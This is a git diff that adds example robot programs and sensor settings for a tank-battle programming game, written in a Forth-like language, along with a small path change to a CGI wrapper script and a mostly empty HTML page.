new file mode 100644
index 0000000..a54a843
--- /dev/null
+++ b/packages/tanks/examples/insane/BoomStick/sensor5
@@ -0,0 +1 @@
+100 112 135 0
diff --git a/packages/tanks/examples/insane/BoomStick/sensor6 b/packages/tanks/examples/insane/BoomStick/sensor6
new file mode 100644
index 0000000..3b119c4
--- /dev/null
+++ b/packages/tanks/examples/insane/BoomStick/sensor6
@@ -0,0 +1 @@
+100 0 30 0
diff --git a/packages/tanks/examples/insane/BoomStick/sensor7 b/packages/tanks/examples/insane/BoomStick/sensor7
new file mode 100644
index 0000000..6a165df
--- /dev/null
+++ b/packages/tanks/examples/insane/BoomStick/sensor7
@@ -0,0 +1 @@
+100 0 18 1
diff --git a/packages/tanks/examples/insane/BoomStick/sensor8 b/packages/tanks/examples/insane/BoomStick/sensor8
new file mode 100644
index 0000000..e7fb35c
--- /dev/null
+++ b/packages/tanks/examples/insane/BoomStick/sensor8
@@ -0,0 +1 @@
+100 -112 135 0
diff --git a/packages/tanks/examples/insane/BoomStick/sensor9 b/packages/tanks/examples/insane/BoomStick/sensor9
new file mode 100644
index 0000000..444de17
--- /dev/null
+++ b/packages/tanks/examples/insane/BoomStick/sensor9
@@ -0,0 +1 @@
+100 -36 18 1
diff --git a/packages/tanks/examples/insane/Combustible/author b/packages/tanks/examples/insane/Combustible/author
new file mode 100644
index 0000000..36352d5
--- /dev/null
+++ b/packages/tanks/examples/insane/Combustible/author
@@ -0,0 +1 @@
+mr_combustible@hotmail.com
\ No newline at end of file
diff --git a/packages/tanks/examples/insane/Combustible/color b/packages/tanks/examples/insane/Combustible/color
new file mode 100644
index 0000000..9d5085c
--- /dev/null
+++ b/packages/tanks/examples/insane/Combustible/color
@@ -0,0 +1 @@
+#FF6F00
\ No newline at end of file
diff --git a/packages/tanks/examples/insane/Combustible/name b/packages/tanks/examples/insane/Combustible/name
new file mode 100644
index 0000000..35828ff
--- /dev/null
+++ b/packages/tanks/examples/insane/Combustible/name
@@ -0,0 +1 @@
+Combustible
\ No newline at end of file
diff --git a/packages/tanks/examples/insane/Combustible/program b/packages/tanks/examples/insane/Combustible/program
new file mode 100644
index 0000000..9457553
--- /dev/null
+++ b/packages/tanks/examples/insane/Combustible/program
@@ -0,0 +1,14 @@
+0 set-turret!                           ( Rotate turret )
+60 58 set-speed!                      ( Full speed! )
+0 sensor? { fire! } if                  ( Fire if turret sensor triggered )
+1 sensor? { 100 -150 set-speed! } if      ( Turn if right sensor triggered )
+2 sensor? { -150 100 set-speed! } if      ( Turn if left sensor triggered )
+8 sensor? { 90 0 set-speed! } if       ( Turn if right/front sensor triggered )
+9 sensor? { 0 90 set-speed! } if       ( Turn if left/front sensor triggered )
+3 sensor? { 150 150 set-speed! } if   (Front doublespeed)
+4 sensor? { 150 150 set-speed! } if       ( run away! )
+
+7 sensor? { -150 -150 set-speed! } if   (Front collision)
+
+fire-ready? {}{ 5 sensor? {-30 -60 set-speed! } if } ifelse
+fire-ready? {}{ 6 sensor? {-60 -30 set-speed! } if } ifelse
\ No newline at end of file
diff --git a/packages/tanks/examples/insane/Combustible/sensor0 b/packages/tanks/examples/insane/Combustible/sensor0
new file mode 100644
index 0000000..9246d12
--- /dev/null
+++ b/packages/tanks/examples/insane/Combustible/sensor0
@@ -0,0 +1 @@
+50 0 2 0
diff --git a/packages/tanks/examples/insane/Combustible/sensor1 b/packages/tanks/examples/insane/Combustible/sensor1
new file mode 100644
index 0000000..e44d621
--- /dev/null
+++ b/packages/tanks/examples/insane/Combustible/sensor1
@@ -0,0 +1 @@
+100 108 130 0
diff --git a/packages/tanks/examples/insane/Combustible/sensor2 b/packages/tanks/examples/insane/Combustible/sensor2
new file mode 100644
index 0000000..c0e8d0c
--- /dev/null
+++ b/packages/tanks/examples/insane/Combustible/sensor2
@@ -0,0 +1 @@
+100 252 130 0
diff --git a/packages/tanks/examples/insane/Combustible/sensor3 b/packages/tanks/examples/insane/Combustible/sensor3
new file mode 100644
index 0000000..75c424c
--- /dev/null
+++ b/packages/tanks/examples/insane/Combustible/sensor3
@@ -0,0 +1 @@
+100 0 2 0
diff --git a/packages/tanks/examples/insane/Combustible/sensor4 b/packages/tanks/examples/insane/Combustible/sensor4
new file mode 100644
index 0000000..67bc9c9
--- /dev/null
+++ b/packages/tanks/examples/insane/Combustible/sensor4
@@ -0,0 +1 @@
+90 180 90 0
diff --git a/packages/tanks/examples/insane/Combustible/sensor5 b/packages/tanks/examples/insane/Combustible/sensor5
new file mode 100644
index 0000000..dc649e1
--- /dev/null
+++ b/packages/tanks/examples/insane/Combustible/sensor5
@@ -0,0 +1 @@
+55 90 180 0
diff --git a/packages/tanks/examples/insane/Combustible/sensor6 b/packages/tanks/examples/insane/Combustible/sensor6
new file mode 100644
index 0000000..aece5cf
--- /dev/null
+++ b/packages/tanks/examples/insane/Combustible/sensor6
@@ -0,0 +1 @@
+55 270 180 0
diff --git a/packages/tanks/examples/insane/Combustible/sensor7 b/packages/tanks/examples/insane/Combustible/sensor7
new file mode 100644
index 0000000..c39894c
--- /dev/null
+++ b/packages/tanks/examples/insane/Combustible/sensor7
@@ -0,0 +1 @@
+35 0 180 0
diff --git a/packages/tanks/examples/insane/Combustible/sensor8 b/packages/tanks/examples/insane/Combustible/sensor8
new file mode 100644
index 0000000..df70693
--- /dev/null
+++ b/packages/tanks/examples/insane/Combustible/sensor8
@@ -0,0 +1 @@
+100 34 37 0
diff --git a/packages/tanks/examples/insane/Combustible/sensor9 b/packages/tanks/examples/insane/Combustible/sensor9
new file mode 100644
index 0000000..1030344
--- /dev/null
+++ b/packages/tanks/examples/insane/Combustible/sensor9
@@ -0,0 +1 @@
+100 326 37 0
diff --git a/packages/tanks/examples/insane/Combustible/sensors b/packages/tanks/examples/insane/Combustible/sensors
new file mode 100644
index 0000000..8151664
--- /dev/null
+++ b/packages/tanks/examples/insane/Combustible/sensors
@@ -0,0 +1,2 @@
+50 0 0 1
+70 0 50 0
diff --git a/packages/tanks/examples/insane/clumsy/author b/packages/tanks/examples/insane/clumsy/author
new file mode 100644
index 0000000..d48933b
--- /dev/null
+++ b/packages/tanks/examples/insane/clumsy/author
@@ -0,0 +1 @@
+Geoff
\ No newline at end of file
diff --git a/packages/tanks/examples/insane/clumsy/color b/packages/tanks/examples/insane/clumsy/color
new file mode 100644
index 0000000..b6f49d0
--- /dev/null
+++ b/packages/tanks/examples/insane/clumsy/color
@@ -0,0 +1 @@
+#FFFFFF
\ No newline at end of file
diff --git a/packages/tanks/examples/insane/clumsy/name b/packages/tanks/examples/insane/clumsy/name
new file mode 100644
index 0000000..225fcb5
--- /dev/null
+++ b/packages/tanks/examples/insane/clumsy/name
@@ -0,0 +1 @@
+clumsy
\ No newline at end of file
diff --git a/packages/tanks/examples/insane/clumsy/program b/packages/tanks/examples/insane/clumsy/program
new file mode 100644
index 0000000..8b2b6a0
--- /dev/null
+++ b/packages/tanks/examples/insane/clumsy/program
@@ -0,0 +1,50 @@
+0 sensor?{
+	get-turret 0 = { 1 sensor?{ fire! } if } if
+
+	get-turret 17 = { 2 sensor?{ fire! } if } if
+	get-turret 34 = { 3 sensor?{ fire! } if } if
+	get-turret 51 = { 4 sensor?{ fire! } if } if
+
+	get-turret -17 = { 5 sensor?{ fire! } if } if
+	get-turret -34 = { 6 sensor?{ fire! } if } if
+	get-turret -51 = { 7 sensor?{ fire! } if } if
+}if (0)
+fire-ready?{ 0 set-led! }{ 1 set-led! } ifelse
+
+1 sensor?{ 0 set-turret! }{
+	2 sensor?{ 17 set-turret! }{
+		3 sensor?{ 34 set-turret! }{
+			4 sensor?{ 51 set-turret! }{
+				5 sensor?{ -17 set-turret! }{
+					6 sensor?{ -34 set-turret! }{
+						7 sensor?{ -51 set-turret! }{
+							0 set-turret!
+						}ifelse
+					}ifelse
+				}ifelse
+			}ifelse
+		}ifelse
+	}ifelse
+}ifelse
+
+get-turret 0 = { 2 sensor?{ 17 set-turret! }{ 5 sensor?{ -17 set-turret! } if (5) } ifelse (2) } if (0t)
+get-turret 17 = { 1 sensor?{ 0 set-turret! }{ 3 sensor?{  34 set-turret! } if (3) } ifelse (1) } if (17t)
+get-turret 34 = { 2 sensor?{ 17 set-turret! }{ 4 sensor?{  51 set-turret! } if (4) } ifelse (2) } if (34t)
+get-turret 51 = {  34 set-turret! } if (51t)
+
+get-turret -17 = { 1 sensor?{ 0 set-turret! }{ 6 sensor?{  -34 set-turret! } if (6) } ifelse (1) } if (-17t)
+get-turret -34 = { 5 sensor?{ -17 set-turret! }{ 7 sensor?{  -51 set-turret! } if (7) } ifelse (5) } if (-34t)
+get-turret -51 = {  -34 set-turret! } if (51t)
+
+9 mget 55 = {}{ 0 set-turret! 55 9 mset} ifelse
+
+	1 sensor?{ 100 1 mset 100 2 mset }{
+		2 sensor?{ 100 1 mset -100 2 mset }{
+			5 sensor?{ -100 1 mset 100 2 mset }{
+				100 1 mset 100 2 mset
+			} ifelse (5)
+		} ifelse (2)
+	} ifelse (1)
+
+	8 sensor?{ 100 1 mset 100 2 mset } if
+1 mget 2 mget set-speed!
diff --git a/packages/tanks/examples/insane/clumsy/sensor0 b/packages/tanks/examples/insane/clumsy/sensor0
new file mode 100644
index 0000000..992184a
--- /dev/null
+++ b/packages/tanks/examples/insane/clumsy/sensor0
@@ -0,0 +1 @@
+50 0 359 0
diff --git a/packages/tanks/examples/insane/clumsy/sensor1 b/packages/tanks/examples/insane/clumsy/sensor1
new file mode 100644
index 0000000..fed3ae2
--- /dev/null
+++ b/packages/tanks/examples/insane/clumsy/sensor1
@@ -0,0 +1 @@
+100 0 1 0
diff --git a/packages/tanks/examples/insane/clumsy/sensor2 b/packages/tanks/examples/insane/clumsy/sensor2
new file mode 100644
index 0000000..af9d7fe
--- /dev/null
+++ b/packages/tanks/examples/insane/clumsy/sensor2
@@ -0,0 +1 @@
+100 17 1 0
diff --git a/packages/tanks/examples/insane/clumsy/sensor3 b/packages/tanks/examples/insane/clumsy/sensor3
new file mode 100644
index 0000000..ac407a7
--- /dev/null
+++ b/packages/tanks/examples/insane/clumsy/sensor3
@@ -0,0 +1 @@
+100 34 1 0
diff --git a/packages/tanks/examples/insane/clumsy/sensor4 b/packages/tanks/examples/insane/clumsy/sensor4
new file mode 100644
index 0000000..79e02fb
--- /dev/null
+++ b/packages/tanks/examples/insane/clumsy/sensor4
@@ -0,0 +1 @@
+100 51 1 0
diff --git a/packages/tanks/examples/insane/clumsy/sensor5 b/packages/tanks/examples/insane/clumsy/sensor5
new file mode 100644
index 0000000..b9270c5
--- /dev/null
+++ b/packages/tanks/examples/insane/clumsy/sensor5
@@ -0,0 +1 @@
+100 -17 1 0
diff --git a/packages/tanks/examples/insane/clumsy/sensor6 b/packages/tanks/examples/insane/clumsy/sensor6
new file mode 100644
index 0000000..81d2267
--- /dev/null
+++ b/packages/tanks/examples/insane/clumsy/sensor6
@@ -0,0 +1 @@
+100 -34 1 0
diff --git a/packages/tanks/examples/insane/clumsy/sensor7 b/packages/tanks/examples/insane/clumsy/sensor7
new file mode 100644
index 0000000..b03447b
--- /dev/null
+++ b/packages/tanks/examples/insane/clumsy/sensor7
@@ -0,0 +1 @@
+100 -51 1 0
diff --git a/packages/tanks/examples/insane/clumsy/sensor8 b/packages/tanks/examples/insane/clumsy/sensor8
new file mode 100644
index 0000000..f805278
--- /dev/null
+++ b/packages/tanks/examples/insane/clumsy/sensor8
@@ -0,0 +1 @@
+75 180 180 0
diff --git a/packages/tanks/examples/insane/clumsy/sensor9 b/packages/tanks/examples/insane/clumsy/sensor9
new file mode 100644
index 0000000..41008bd
--- /dev/null
+++ b/packages/tanks/examples/insane/clumsy/sensor9
@@ -0,0 +1 @@
+90 180 180 0
diff --git a/packages/tanks/examples/insane/pony/author b/packages/tanks/examples/insane/pony/author
new file mode 100644
index 0000000..c137216
--- /dev/null
+++ b/packages/tanks/examples/insane/pony/author
@@ -0,0 +1 @@
+F
\ No newline at end of file
diff --git a/packages/tanks/examples/insane/pony/color b/packages/tanks/examples/insane/pony/color
new file mode 100644
index 0000000..576e1e4
--- /dev/null
+++ b/packages/tanks/examples/insane/pony/color
@@ -0,0 +1 @@
+#FF0000
\ No newline at end of file
diff --git a/packages/tanks/examples/insane/pony/name b/packages/tanks/examples/insane/pony/name
new file mode 100644
index 0000000..72ff5d8
--- /dev/null
+++ b/packages/tanks/examples/insane/pony/name
@@ -0,0 +1 @@
+for pony
\ No newline at end of file
diff --git a/packages/tanks/examples/insane/pony/program b/packages/tanks/examples/insane/pony/program
new file mode 100644
index 0000000..9ac6e86
--- /dev/null
+++ b/packages/tanks/examples/insane/pony/program
@@ -0,0 +1,78 @@
+0 sensor?{ fire! 0 0 mset } if
+1 2 mset
+1 sensor?{
+6 sensor?{
+	fire-ready?{
+		100 100 set-speed!
+	}{
+		-100 -100 set-speed!
+	} ifelse (fire)
+	}{
+		get-turret 30 > {
+		 get-turret 180 < {
+		  50 -50 set-speed! get-turret 20 - set-turret!
+		 }{
+		  -50 50 set-speed! get-turret 20 + set-turret!
+		 } ifelse (180)
+		}{
+		 get-turret -30 < {
+		  get-turret -180 > {
+			-50 50 set-speed! get-turret 20 + set-turret!
+		  }{
+			50 -50 set-speed! get-turret 20 - set-turret!
+		  } ifelse (-180)
+		 }{
+			fire-ready?{
+		  		100 100 set-speed!
+			}{
+				-100 -100 set-speed!
+			} ifelse (fire)
+		 } ifelse (-30)
+		} ifelse (30)
+	} ifelse (6)
+} if (1)
+
+2 sensor?{ get-turret 30 + set-turret! }{
+3 sensor?{ get-turret 30 - set-turret! }{
+4 sensor?{ 50 -50 set-speed! }{
+5 sensor?{ -50 50 set-speed! }{
+
+
+1 mget 20 > {
+100 100 set-speed!
+0 set-turret!
+0 1 mset
+
+}{
+
+1 mget 1 + 1 mset
+} ifelse
+
+0 2 mset
+
+} ifelse (5)
+} ifelse (4)
+
+} ifelse (3)
+} ifelse (2)
+
+9 mget 55 = {}{ 55 9 mset 0 0 mset 0 1 mset 60 3 mset 10 4 mset 50 55 set-speed! 0 set-turret! }ifelse (initialisation routine - only executed once)
+
+2 mget 0 = {
+ 7 sensor?{
+  100 100 set-speed!
+ }{
+  8 sensor?{
+   100 -100 set-speed!
+  }{
+   9 sensor?{
+    -100 100 set-speed!
+   }{
+	3 mget 0 = { 4 mget 0 = { 10 4 mset 60 3 mset 100 100 set-speed! }{ 4 mget 10 = { 50 50 random set-speed! } if 4 mget 1 - 4 mset  } ifelse (4m) }{ 3 mget 1 - 3 mset } ifelse (3m)
+	} ifelse
+	
+  } ifelse
+ } ifelse
+} if (mget)
+
+fire-ready?{}{ 6 sensor? { -100 -100 set-speed! } if } ifelse
diff --git a/packages/tanks/examples/insane/pony/sensor0 b/packages/tanks/examples/insane/pony/sensor0
new file mode 100644
index 0000000..ae81fe2
--- /dev/null
+++ b/packages/tanks/examples/insane/pony/sensor0
@@ -0,0 +1 @@
+50 0 1 1
diff --git a/packages/tanks/examples/insane/pony/sensor1 b/packages/tanks/examples/insane/pony/sensor1
new file mode 100644
index 0000000..07f5207
--- /dev/null
+++ b/packages/tanks/examples/insane/pony/sensor1
@@ -0,0 +1 @@
+100 0 1 1
diff --git a/packages/tanks/examples/insane/pony/sensor2 b/packages/tanks/examples/insane/pony/sensor2
new file mode 100644
index 0000000..c050a62
--- /dev/null
+++ b/packages/tanks/examples/insane/pony/sensor2
@@ -0,0 +1 @@
+100 30 1 1
diff --git a/packages/tanks/examples/insane/pony/sensor3 b/packages/tanks/examples/insane/pony/sensor3
new file mode 100644
index 0000000..0a88d20
--- /dev/null
+++ b/packages/tanks/examples/insane/pony/sensor3
@@ -0,0 +1 @@
+100 -30 1 1
diff --git a/packages/tanks/examples/insane/pony/sensor4 b/packages/tanks/examples/insane/pony/sensor4
new file mode 100644
index 0000000..9e730e6
--- /dev/null
+++ b/packages/tanks/examples/insane/pony/sensor4
@@ -0,0 +1 @@
+100 60 30 0
diff --git a/packages/tanks/examples/insane/pony/sensor5 b/packages/tanks/examples/insane/pony/sensor5
new file mode 100644
index 0000000..bf83607
--- /dev/null
+++ b/packages/tanks/examples/insane/pony/sensor5
@@ -0,0 +1 @@
+100 -60 30 0
diff --git a/packages/tanks/examples/insane/pony/sensor6 b/packages/tanks/examples/insane/pony/sensor6
new file mode 100644
index 0000000..fed3ae2
--- /dev/null
+++ b/packages/tanks/examples/insane/pony/sensor6
@@ -0,0 +1 @@
+100 0 1 0
diff --git a/packages/tanks/examples/insane/pony/sensor7 b/packages/tanks/examples/insane/pony/sensor7
new file mode 100644
index 0000000..5c56951
--- /dev/null
+++ b/packages/tanks/examples/insane/pony/sensor7
@@ -0,0 +1 @@
+80 180 60 0
diff --git a/packages/tanks/examples/insane/pony/sensor8 b/packages/tanks/examples/insane/pony/sensor8
new file mode 100644
index 0000000..b122373
--- /dev/null
+++ b/packages/tanks/examples/insane/pony/sensor8
@@ -0,0 +1 @@
+80 120 60 0
diff --git a/packages/tanks/examples/insane/pony/sensor9 b/packages/tanks/examples/insane/pony/sensor9
new file mode 100644
index 0000000..1c594d7
--- /dev/null
+++ b/packages/tanks/examples/insane/pony/sensor9
@@ -0,0 +1 @@
+80 -120 60 0
diff --git a/packages/tanks/examples/insane/sarlacc/author b/packages/tanks/examples/insane/sarlacc/author
new file mode 100644
index 0000000..bf11e9d
--- /dev/null
+++ b/packages/tanks/examples/insane/sarlacc/author
@@ -0,0 +1 @@
+Nemo 
\ No newline at end of file
diff --git a/packages/tanks/examples/insane/sarlacc/color b/packages/tanks/examples/insane/sarlacc/color
new file mode 100644
index 0000000..78d0486
--- /dev/null
+++ b/packages/tanks/examples/insane/sarlacc/color
@@ -0,0 +1 @@
+#00FF00
\ No newline at end of file
diff --git a/packages/tanks/examples/insane/sarlacc/name b/packages/tanks/examples/insane/sarlacc/name
new file mode 100644
index 0000000..ff1bdd8
--- /dev/null
+++ b/packages/tanks/examples/insane/sarlacc/name
@@ -0,0 +1 @@
+Sarlacc
\ No newline at end of file
diff --git a/packages/tanks/examples/insane/sarlacc/program b/packages/tanks/examples/insane/sarlacc/program
new file mode 100644
index 0000000..c76f574
--- /dev/null
+++ b/packages/tanks/examples/insane/sarlacc/program
@@ -0,0 +1,27 @@
+99 100 set-speed!  ( big circles ) 
+0 set-led!
+0 set-turret!
+
+2 sensor? { 100 -28 set-speed! } if (outer right)
+3 sensor? { -32 100 set-speed! } if (outer left)
+
+4 sensor? { 100 2 set-speed! } if (middle pincer)
+5 sensor? { -2 100 set-speed! } if (middle pincer)
+
+4 sensor? 2 sensor? & { 50 -48 set-speed! } if (middle right)
+5 sensor? 3 sensor? & { -52 50 set-speed! } if (middle left)
+
+1 sensor? { 100 100 set-speed!  } if              ( full speed ahead if we have a target )
+fire-ready? { 1 set-led! } { 40 random 10 + 35 random 5 + set-speed! } ifelse (trundle if we can't fire, else show danger LED) 
+
+6 sensor? { 100 -48 set-speed! } if  ( inner right ) 
+7 sensor? { -52 100 set-speed! } if  ( inner left  ) 
+
+0 sensor? { fire! } if              ( Fire if turret sensor triggered )
+
+4 sensor? fire-ready? ! & {70 100 set-speed!} if (escape if we can't fire and are close) 
+5 sensor? fire-ready? ! & {100 70 set-speed!} if (escape if we can't fire and are close) 
+
+8 sensor? 6 sensor? & { -99 -100 set-speed! } if  ( front crash avoid ) 
+8 sensor? 7 sensor? & { -100 -99 set-speed! } if  ( front crash avoid ) 
+9 sensor? { 100 100 set-speed! } if  ( rear crash avoid ) 
\ No newline at end of file
diff --git a/packages/tanks/examples/insane/sarlacc/sensor0 b/packages/tanks/examples/insane/sarlacc/sensor0
new file mode 100644
index 0000000..6cab31b
--- /dev/null
+++ b/packages/tanks/examples/insane/sarlacc/sensor0
@@ -0,0 +1 @@
+50 0 3 0
diff --git a/packages/tanks/examples/insane/sarlacc/sensor1 b/packages/tanks/examples/insane/sarlacc/sensor1
new file mode 100644
index 0000000..ce8d4d8
--- /dev/null
+++ b/packages/tanks/examples/insane/sarlacc/sensor1
@@ -0,0 +1 @@
+100 0 10 0
diff --git a/packages/tanks/examples/insane/sarlacc/sensor2 b/packages/tanks/examples/insane/sarlacc/sensor2
new file mode 100644
index 0000000..20fbb32
--- /dev/null
+++ b/packages/tanks/examples/insane/sarlacc/sensor2
@@ -0,0 +1 @@
+100 105 150 0
diff --git a/packages/tanks/examples/insane/sarlacc/sensor3 b/packages/tanks/examples/insane/sarlacc/sensor3
new file mode 100644
index 0000000..44d4eee
--- /dev/null
+++ b/packages/tanks/examples/insane/sarlacc/sensor3
@@ -0,0 +1 @@
+100 255 150 0
diff --git a/packages/tanks/examples/insane/sarlacc/sensor4 b/packages/tanks/examples/insane/sarlacc/sensor4
new file mode 100644
index 0000000..e05222f
--- /dev/null
+++ b/packages/tanks/examples/insane/sarlacc/sensor4
@@ -0,0 +1 @@
+80 100 160 0
diff --git a/packages/tanks/examples/insane/sarlacc/sensor5 b/packages/tanks/examples/insane/sarlacc/sensor5
new file mode 100644
index 0000000..3f6b139
--- /dev/null
+++ b/packages/tanks/examples/insane/sarlacc/sensor5
@@ -0,0 +1 @@
+80 260 160 0
diff --git a/packages/tanks/examples/insane/sarlacc/sensor6 b/packages/tanks/examples/insane/sarlacc/sensor6
new file mode 100644
index 0000000..1cb43e1
--- /dev/null
+++ b/packages/tanks/examples/insane/sarlacc/sensor6
@@ -0,0 +1 @@
+60 95 170 0
diff --git a/packages/tanks/examples/insane/sarlacc/sensor7 b/packages/tanks/examples/insane/sarlacc/sensor7
new file mode 100644
index 0000000..db43bab
--- /dev/null
+++ b/packages/tanks/examples/insane/sarlacc/sensor7
@@ -0,0 +1 @@
+60 265 170 0
diff --git a/packages/tanks/examples/insane/sarlacc/sensor8 b/packages/tanks/examples/insane/sarlacc/sensor8
new file mode 100644
index 0000000..c73feb0
--- /dev/null
+++ b/packages/tanks/examples/insane/sarlacc/sensor8
@@ -0,0 +1 @@
+40 0 180 0
diff --git a/packages/tanks/examples/insane/sarlacc/sensor9 b/packages/tanks/examples/insane/sarlacc/sensor9
new file mode 100644
index 0000000..31bc932
--- /dev/null
+++ b/packages/tanks/examples/insane/sarlacc/sensor9
@@ -0,0 +1 @@
+40 180 180 0
diff --git a/packages/tanks/html/designer.cgi b/packages/tanks/html/designer.cgi
index 7a9800c..753b2e4 100755
--- a/packages/tanks/html/designer.cgi
+++ b/packages/tanks/html/designer.cgi
@@ -1,4 +1,4 @@
 #! /bin/sh
 
-BASE_PATH=/var/lib/ctf/tanks/players/; export BASE_PATH
-exec /opt/tanks/bin/designer.cgi
+BASE_PATH=$CTF_BASE/state/tanks/players/; export BASE_PATH
+exec $CTF_BASE/packages/tanks/bin/designer.cgi
diff --git a/packages/tanks/html/newest.html b/packages/tanks/html/newest.html
new file mode 100644
index 0000000..a95fe78
--- /dev/null
+++ b/packages/tanks/html/newest.html
@@ -0,0 +1,30 @@
+                                                                                                            
+                                                                                                                     
+                                                                                                                     
+    Tanks                                                                                                   
+                                                                                   
+                                                                   
+                                                                                                                   
+                                                                                                                    
+                                                                                                                     
+